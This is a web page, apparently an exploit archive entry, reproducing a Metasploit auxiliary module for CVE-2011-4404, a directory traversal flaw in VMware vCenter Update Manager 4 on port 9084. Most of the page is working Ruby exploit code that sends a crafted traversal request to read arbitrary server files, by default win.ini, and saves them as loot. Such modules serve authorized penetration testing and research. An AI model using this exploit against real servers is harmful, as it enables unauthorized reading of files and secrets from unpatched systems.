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VMWare Update Manager 4 Directory Traversal

This Metasploit modules exploits a directory traversal vulnerability in VMWare Update Manager on port 9084. Versions affected by this vulnerability: vCenter Update Manager 4.1 prior to Update 2, vCenter Update Manager 4 Update 4.

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#vulnerability#windows#git#php#vmware#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::Report  include Msf::Auxiliary::Scanner  def initialize(info={})    super(update_info(info,      'Name'           => "VMWare Update Manager 4 Directory Traversal",      'Description'    => %q{        This modules exploits a directory traversal vulnerability in VMWare Update Manager        on port 9084.  Versions affected by this vulnerability: vCenter Update Manager        4.1 prior to Update 2, vCenter Update Manager 4 Update 4.      },      'License'        => MSF_LICENSE,      'Author'         =>        [          'Alexey Sintsov',  #Initial discovery, poc          'sinn3r'           #Metasploit        ],      'References'     =>        [          ['CVE', '2011-4404'],          ['EDB', '18138'],          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2011-0014.html'],          ['URL', 'http://dsecrg.com/pages/vul/show.php?id=342']        ],      'DisclosureDate' => '2011-11-21'))    register_options(      [        Opt::RPORT(9084),        OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']),        OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini'])      ])  end  def run_host(ip)    fname     = File.basename(datastore['FILE'])    traversal = ".\\..\\..\\..\\..\\..\\..\\..\\"    uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE']    print_status("#{rhost}:#{rport} - Requesting: #{uri}")    res = send_request_raw({      'method' => 'GET',      'uri'    => uri    }, 25)    # If there's no response, don't bother    if res.nil? or res.body.empty?      print_error("No content retrieved from: #{ip}")      return    end    if res.code == 404      print_error("#{rhost}:#{rport} - File not found")      return    else      print_good("File retrieved from: #{ip}")      p = store_loot("vmware.traversal.file", "application/octet-stream", rhost, res.to_s, fname)      print_good("File stored in: #{p}")    end  endend

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